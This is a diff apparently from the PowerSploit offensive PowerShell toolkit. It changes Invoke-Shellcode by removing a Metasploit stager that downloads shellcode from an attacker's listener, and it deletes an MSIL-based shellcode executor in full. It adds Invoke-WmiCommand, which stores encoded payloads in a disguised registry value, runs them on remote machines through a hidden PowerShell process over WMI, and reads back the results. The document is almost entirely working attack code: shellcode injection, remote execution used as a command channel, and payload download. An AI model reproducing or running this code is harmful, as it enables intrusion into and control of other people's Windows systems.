$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch remote thread in PID: $ProcessID"
@@ -427,7 +306,7 @@ http://www.exploit-monday.com
Throw 'No shellcode was placed in the $Shellcode32 variable!'
return
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
@@ -438,36 +317,36 @@ http://www.exploit-monday.com
Throw 'No shellcode was placed in the $Shellcode64 variable!'
return
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
@@ -477,7 +356,7 @@ http://www.exploit-monday.com
{
Throw "Unable to allocate thread call stub."
}
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy call stub to RWX buffer
@@ -492,7 +371,7 @@ http://www.exploit-monday.com
# Wait for shellcode thread to terminate
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
@@ -501,16 +380,30 @@ http://www.exploit-monday.com
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
if ($IsWow64ProcessAddr)
{
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
$64bitCPU = $true
$AddressWidth = $null
try {
$AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth
} catch {
throw 'Unable to determine OS processor address width.'
}
else
{
$64bitCPU = $false
switch ($AddressWidth) {
'32' {
$64bitOS = $False
}
'64' {
$64bitOS = $True
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
}
default {
throw 'Invalid OS address width detected.'
}
}
if ([IntPtr]::Size -eq 4)
@@ -522,94 +415,7 @@ http://www.exploit-monday.com
$PowerShell32bit = $false
}
if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
{
if (!$PowerShell32bit) {
# The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
# Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function
# Pull out just the content of the this script's invocation.
$RootInvocation = $MyInvocation.Line
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
"Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
if ( !$Response )
{
# User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
Return
}
# Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
if ($MyInvocation.BoundParameters['Force'])
{
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
}
else
{
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
}
$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
$EncodedCommand = [Convert]::ToBase64String($CommandBytes)
$Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
Invoke-Expression -Command $Execute | Out-Null
# Exit the script since the shellcode will be running from x86 PowerShell
Return
}
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
"About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
if ( !$Response )
{
# User opted not to carry out download of Metasploit payload. Exit function
Return
}
switch ($Payload)
{
'windows/meterpreter/reverse_http'
{
$SSL = ''
}
'windows/meterpreter/reverse_https'
{
$SSL = 's'
# Accept invalid certificates
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
}
}
# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
Write-Verbose "Requesting meterpreter payload from $Request"
$Uri = New-Object Uri($Request)
$WebClient = New-Object System.Net.WebClient
$WebClient.Headers.Add('user-agent', "$UserAgent")
try
{
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
}
catch
{
Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
}
[Byte[]] $Shellcode64 = $Shellcode32
}
elseif ($PSBoundParameters['Shellcode'])
if ($PSBoundParameters['Shellcode'])
{
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
@@ -676,9 +482,9 @@ http://www.exploit-monday.com
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
Write-Verbose "Injecting shellcode into PID: $ProcessId"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
{
@@ -700,14 +506,13 @@ http://www.exploit-monday.com
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
Write-Verbose "Injecting shellcode into PowerShell"
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
"Injecting shellcode into the running PowerShell process!" ) )
{
Inject-LocalShellcode
}
}
}
-267
View File
@@ -1,267 +0,0 @@
function Invoke-ShellcodeMSIL
{
<#
.SYNOPSIS
Execute shellcode within the context of the running PowerShell process without making any Win32 function calls.
PowerSploit Function: Invoke-ShellcodeMSIL
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Invoke-ShellcodeMSIL executes shellcode by using specially crafted MSIL opcodes to overwrite a JITed dummy method. This technique is compelling because unlike Invoke-Shellcode, Invoke-ShellcodeMSIL doesn't call any Win32 functions.
.PARAMETER Shellcode
Specifies the shellcode to be executed.
.EXAMPLE
C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
Description
-----------
Executes the following instructions - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
.NOTES
Your shellcode must end in a ret (0xC3) and maintain proper stack alignment or PowerShell will crash!
Use the '-Verbose' option to print detailed information.
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding()] Param (
[Parameter( Mandatory = $True )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode
)
function Get-MethodAddress
{
[CmdletBinding()] Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[System.Reflection.MethodInfo]
$MethodInfo
)
if ($MethodInfo.MethodImplementationFlags -eq 'InternalCall')
{
Write-Warning "$($MethodInfo.Name) is an InternalCall method. These methods always point to the same address."
}
try { $Type = [MethodLeaker] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
{
if ([IntPtr]::Size -eq 4) { $ReturnType = [UInt32] } else { $ReturnType = [UInt64] }
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('MethodLeakAssembly')
# Assemble in memory
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodLeakModule')
$TypeBuilder = $ModuleBuilder.DefineType('MethodLeaker', [System.Reflection.TypeAttributes]::Public)
# Declaration of the LeakMethod method
$MethodBuilder = $TypeBuilder.DefineMethod('LeakMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $ReturnType, $null)
$Generator = $MethodBuilder.GetILGenerator()
# Push unmanaged pointer to MethodInfo onto the evaluation stack
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldftn, $MethodInfo)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
# Assemble everything
$Type = $TypeBuilder.CreateType()
}
$Method = $Type.GetMethod('LeakMethod')
try
{
# Call the method and return its JITed address
$Address = $Method.Invoke($null, @())
Write-Output (New-Object IntPtr -ArgumentList $Address)
}
catch [System.Management.Automation.MethodInvocationException]
{
Write-Error "$($MethodInfo.Name) cannot return an unmanaged address."
}
}
#region Define the method that will perform the overwrite
try { $SmasherType = [MethodSmasher] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
{
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('MethodSmasher')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute
$Constructor = $Att.GetType().GetConstructors()[0]
$ObjectArray = New-Object System.Object[](0)
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
$AssemblyBuilder.SetCustomAttribute($AttribBuilder)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodSmasher')
$ModAtt = New-Object System.Security.UnverifiableCodeAttribute
$Constructor = $ModAtt.GetType().GetConstructors()[0]
$ObjectArray = New-Object System.Object[](0)
$ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
$ModuleBuilder.SetCustomAttribute($ModAttribBuilder)
$TypeBuilder = $ModuleBuilder.DefineType('MethodSmasher', [System.Reflection.TypeAttributes]::Public)
$Params = New-Object System.Type[](3)
$Params[0] = [IntPtr]
$Params[1] = [IntPtr]
$Params[2] = [Int32]
$MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $null, $Params)
$Generator = $MethodBuilder.GetILGenerator()
# The following MSIL opcodes are effectively a memcpy
# arg0 = destinationAddr, arg1 = sourceAddr, arg2 = length
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_2)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Volatile)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Cpblk)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
$SmasherType = $TypeBuilder.CreateType()
}
$OverwriteMethod = $SmasherType.GetMethod('OverwriteMethod')
#endregion
#region Define the method that we're going to overwrite
try { $Type = [SmashMe] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
{
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('SmashMe')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute
$Constructor = $Att.GetType().GetConstructors()[0]
$ObjectArray = New-Object System.Object[](0)
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
$AssemblyBuilder.SetCustomAttribute($AttribBuilder)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SmashMe')
$ModAtt = New-Object System.Security.UnverifiableCodeAttribute
$Constructor = $ModAtt.GetType().GetConstructors()[0]
$ObjectArray = New-Object System.Object[](0)
$ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
$ModuleBuilder.SetCustomAttribute($ModAttribBuilder)
$TypeBuilder = $ModuleBuilder.DefineType('SmashMe', [System.Reflection.TypeAttributes]::Public)
$Params = New-Object System.Type[](1)
$Params[0] = [Int]
$MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMe', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, [Int], $Params)
$Generator = $MethodBuilder.GetILGenerator()
$XorValue = 0x41424344
$Generator.DeclareLocal([Int]) | Out-Null
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0)
# The following MSIL opcodes serve two purposes:
# 1) Serves as a dummy XOR function to take up space in memory when it gets jitted
# 2) A series of XOR instructions won't be optimized out. This way, I'll be guaranteed to sufficient space for my shellcode.
foreach ($CodeBlock in 1..100)
{
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Xor)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Stloc_0)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldloc_0)
$XorValue++
}
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Xor)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
$Type = $TypeBuilder.CreateType()
}
$TargetMethod = $Type.GetMethod('OverwriteMe')
#endregion
# Force the target method to be JITed so that is can be cleanly overwritten
Write-Verbose 'Forcing target method to be JITed...'
foreach ($Exec in 1..20)
{
$TargetMethod.Invoke($null, @(0x11112222)) | Out-Null
}
if ( [IntPtr]::Size -eq 4 )
{
# x86 Shellcode stub
$FinalShellcode = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3)
<#
00000000 60 pushad
00000001 E804000000 call dword 0xa
00000006 61 popad
00000007 31C0 xor eax,eax
00000009 C3 ret
YOUR SHELLCODE WILL BE PLACED HERE...
#>
Write-Verbose 'Preparing x86 shellcode...'
}
else
{
# x86_64 shellcode stub
$FinalShellcode = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,
0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41,
0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48,
0x31,0xC0,0xC3)
<#
00000000 4154 push r12
00000002 4155 push r13
00000004 4156 push r14
00000006 4157 push r15
00000008 55 push rbp
00000009 E80D000000 call dword 0x1b
0000000E 5D pop rbp
0000000F 415F pop r15
00000011 415E pop r14
00000013 415D pop r13
00000015 415C pop r12
00000017 4831C0 xor rax,rax
0000001A C3 ret
YOUR SHELLCODE WILL BE PLACED HERE...
#>
Write-Verbose 'Preparing x86_64 shellcode...'
}
# Append user-provided shellcode.
$FinalShellcode += $Shellcode
# Allocate pinned memory for our shellcode
$ShellcodeAddress = [Runtime.InteropServices.Marshal]::AllocHGlobal($FinalShellcode.Length)
Write-Verbose "Allocated shellcode at 0x$($ShellcodeAddress.ToString("X$([IntPtr]::Size*2)"))."
# Copy the original shellcode bytes into the pinned, unmanaged memory.
# Note: this region of memory if marked PAGE_READWRITE
[Runtime.InteropServices.Marshal]::Copy($FinalShellcode, 0, $ShellcodeAddress, $FinalShellcode.Length)
$TargetMethodAddress = [IntPtr] (Get-MethodAddress $TargetMethod)
Write-Verbose "Address of the method to be overwritten: 0x$($TargetMethodAddress.ToString("X$([IntPtr]::Size*2)"))"
Write-Verbose 'Overwriting dummy method with the shellcode...'
$Arguments = New-Object Object[](3)
$Arguments[0] = $TargetMethodAddress
$Arguments[1] = $ShellcodeAddress
$Arguments[2] = $FinalShellcode.Length
# Overwrite the dummy method with the shellcode opcodes
$OverwriteMethod.Invoke($null, $Arguments)
Write-Verbose 'Executing shellcode...'
# 'Invoke' our shellcode >D
$ShellcodeReturnValue = $TargetMethod.Invoke($null, @(0x11112222))
if ($ShellcodeReturnValue -eq 0)
{
Write-Verbose 'Shellcode executed successfully!'
}
}
+362
View File
@@ -0,0 +1,362 @@
function Invoke-WmiCommand {
<#
.SYNOPSIS
Executes a PowerShell ScriptBlock on a target computer using WMI as a
pure C2 channel.
Author: Matthew Graeber
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Invoke-WmiCommand executes a PowerShell ScriptBlock on a target
computer using WMI as a pure C2 channel. It does this by using the
StdRegProv WMI registry provider methods to store a payload into a
registry value. The command is then executed on the victim system and
the output is stored in another registry value that is then retrieved
remotely.
.PARAMETER Payload
Specifies the payload to be executed on the remote system.
.PARAMETER RegistryKeyPath
Specifies the registry key where the payload and payload output will
be stored.
.PARAMETER RegistryPayloadValueName
Specifies the registry value name where the payload will be stored.
.PARAMETER RegistryResultValueName
Specifies the registry value name where the payload output will be
stored.
.PARAMETER ComputerName
Runs the command on the specified computers. The default is the local
computer.
Type the NetBIOS name, an IP address, or a fully qualified domain
name of one or more computers. To specify the local computer, type
the computer name, a dot (.), or "localhost".
This parameter does not rely on Windows PowerShell remoting. You can
use the ComputerName parameter even if your computer is not
configured to run remote commands.
.PARAMETER Credential
Specifies a user account that has permission to perform this action.
The default is the current user. Type a user name, such as "User01",
"Domain01\User01", or User@Contoso.com. Or, enter a PSCredential
object, such as an object that is returned by the Get-Credential
cmdlet. When you type a user name, you will be prompted for a
password.
.PARAMETER Impersonation
Specifies the impersonation level to use. Valid values are:
0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".)
1: Anonymous (Hides the credentials of the caller.)
2: Identify (Allows objects to query the credentials of the caller.)
3: Impersonate (Allows objects to use the credentials of the caller.)
4: Delegate (Allows objects to permit other objects to use the credentials of the caller.)
.PARAMETER Authentication
Specifies the authentication level to be used with the WMI connection. Valid values are:
-1: Unchanged
0: Default
1: None (No authentication in performed.)
2: Connect (Authentication is performed only when the client establishes a relationship with the application.)
3: Call (Authentication is performed only at the beginning of each call when the application receives the request.)
4: Packet (Authentication is performed on all the data that is received from the client.)
5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.)
6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.)
.PARAMETER EnableAllPrivileges
Enables all the privileges of the current user before the command
makes the WMI call.
.PARAMETER Authority
Specifies the authority to use to authenticate the WMI connection.
You can specify standard NTLM or Kerberos authentication. To use
NTLM, set the authority setting to ntlmdomain:<DomainName>, where
<DomainName> identifies a valid NTLM domain name. To use Kerberos,
specify kerberos:<DomainName\ServerName>. You cannot include the
authority setting when you connect to the local computer.
.EXAMPLE
PS C:\>Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1'
.EXAMPLE
PS C:\>$Hosts = Get-Content hostnames.txt
PS C:\>$Payload = Get-Content payload.ps1
PS C:\>$Credential = Get-Credential 'TargetDomain\TargetUser'
PS C:\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential
.EXAMPLE
PS C:\>$Payload = Get-Content payload.ps1
PS C:\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2'
.EXAMPLE
PS C:/>Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose
.INPUTS
System.String[]
Accepts one or more host names/IP addresses over the pipeline.
.OUTPUTS
System.Management.Automation.PSObject
Outputs a custom object consisting of the target computer name and
the output of the command executed.
.NOTES
In order to receive the output from your payload, it must return
actual objects. For example, Write-Host doesn't return objects
rather, it writes directly to the console. If you're using
Write-Host in your scripts though, you probably don't deserve to get
the output of your payload back. :P
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingInvokeExpression', '')]
[CmdletBinding()]
Param (
[Parameter( Mandatory = $True )]
[ScriptBlock]
$Payload,
[String]
[ValidateSet( 'HKEY_LOCAL_MACHINE',
'HKEY_CURRENT_USER',
'HKEY_CLASSES_ROOT',
'HKEY_USERS',
'HKEY_CURRENT_CONFIG' )]
$RegistryHive = 'HKEY_CURRENT_USER',
[String]
[ValidateNotNullOrEmpty()]
$RegistryKeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG',
[String]
[ValidateNotNullOrEmpty()]
$RegistryPayloadValueName = 'Seed',
[String]
[ValidateNotNullOrEmpty()]
$RegistryResultValueName = 'Value',
[Parameter( ValueFromPipeline = $True )]
[Alias('Cn')]
[String[]]
[ValidateNotNullOrEmpty()]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Management.ImpersonationLevel]
$Impersonation,
[System.Management.AuthenticationLevel]
$Authentication,
[Switch]
$EnableAllPrivileges,
[String]
$Authority
)
BEGIN {
switch ($RegistryHive) {
'HKEY_LOCAL_MACHINE' { $Hive = 2147483650 }
'HKEY_CURRENT_USER' { $Hive = 2147483649 }
'HKEY_CLASSES_ROOT' { $Hive = 2147483648 }
'HKEY_USERS' { $Hive = 2147483651 }
'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 }
}
$HKEY_LOCAL_MACHINE = 2147483650
$WmiMethodArgs = @{}
# If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod
if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential }
if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation }
if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication }
if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges }
if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority }
$AccessPermissions = @{
KEY_QUERY_VALUE = 1
KEY_SET_VALUE = 2
KEY_CREATE_SUB_KEY = 4
KEY_CREATE = 32
DELETE = 65536
}
# These are all of the registry permissions we'll require
$RequiredPermissions = $AccessPermissions['KEY_QUERY_VALUE'] -bor
$AccessPermissions['KEY_SET_VALUE'] -bor
$AccessPermissions['KEY_CREATE_SUB_KEY'] -bor
$AccessPermissions['KEY_CREATE'] -bor
$AccessPermissions['DELETE']
}
PROCESS {
foreach ($Computer in $ComputerName) {
# Pass the individual computer name to Invoke-WmiMethod
$WmiMethodArgs['ComputerName'] = $Computer
Write-Verbose "[$Computer] Creating the following registry key: $RegistryHive\$RegistryKeyPath"
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CreateKey' -ArgumentList $Hive, $RegistryKeyPath
if ($Result.ReturnValue -ne 0) {
throw "[$Computer] Unable to create the following registry key: $RegistryHive\$RegistryKeyPath"
}
Write-Verbose "[$Computer] Validating read/write/delete privileges for the following registry key: $RegistryHive\$RegistryKeyPath"
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CheckAccess' -ArgumentList $Hive, $RegistryKeyPath, $RequiredPermissions
if (-not $Result.bGranted) {
throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand."
}
$PSSettingsPath = 'SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell'
$PSPathValueName = 'Path'
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $HKEY_LOCAL_MACHINE, $PSSettingsPath, $PSPathValueName
if ($Result.ReturnValue -ne 0) {
throw "[$Computer] Unable to obtain powershell.exe path from the following registry value: HKEY_LOCAL_MACHINE\$PSSettingsPath\$PSPathValueName"
}
$PowerShellPath = $Result.sValue
Write-Verbose "[$Computer] Full PowerShell path: $PowerShellPath"
$EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload))
Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $EncodedPayload, $RegistryPayloadValueName
if ($Result.ReturnValue -ne 0) {
throw "[$Computer] Unable to store the payload in the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
}
# Prep the script runner payload from the remote system
$PayloadRunnerArgs = @"
`$Hive = '$Hive'
`$RegistryKeyPath = '$RegistryKeyPath'
`$RegistryPayloadValueName = '$RegistryPayloadValueName'
`$RegistryResultValueName = '$RegistryResultValueName'
`n
"@
$RemotePayloadRunner = $PayloadRunnerArgs + {
$WmiMethodArgs = @{
Namespace = 'Root\default'
Class = 'StdRegProv'
}
$Result = Invoke-WmiMethod @WmiMethodArgs -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) {
$Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue))
$TempSerializedResultPath = [IO.Path]::GetTempFileName()
$PayloadResult = Invoke-Expression ($Payload)
Export-Clixml -InputObject $PayloadResult -Path $TempSerializedResultPath
$SerilizedPayloadText = [IO.File]::ReadAllText($TempSerializedResultPath)
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadText, $RegistryResultValueName
Remove-Item -Path $SerilizedPayloadResult -Force
$null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName
}
}
$Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner))
$Cmdline = "$PowerShellPath -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload"
# Execute the payload runner on the remote system
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline
Start-Sleep -Seconds 5
if ($Result.ReturnValue -ne 0) {
throw "[$Computer] Unable to execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
}
Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName"
$Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName
if ($Result.ReturnValue -ne 0) {
throw "[$Computer] Unable retrieve the payload results from the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
}
Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
$SerilizedPayloadResult = $Result.sValue
$TempSerializedResultPath = [IO.Path]::GetTempFileName()
Out-File -InputObject $SerilizedPayloadResult -FilePath $TempSerializedResultPath
$PayloadResult = Import-Clixml -Path $TempSerializedResultPath
Remove-Item -Path $TempSerializedResultPath
$FinalResult = New-Object PSObject -Property @{
PSComputerName = $Computer
PayloadOutput = $PayloadResult
}
Write-Verbose "[$Computer] Removing the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName"
$null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName
Write-Verbose "[$Computer] Removing the following registry key: $RegistryHive\$RegistryKeyPath"
$null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteKey' -ArgumentList $Hive, $RegistryKeyPath
return $FinalResult
}
}
}
-78
View File
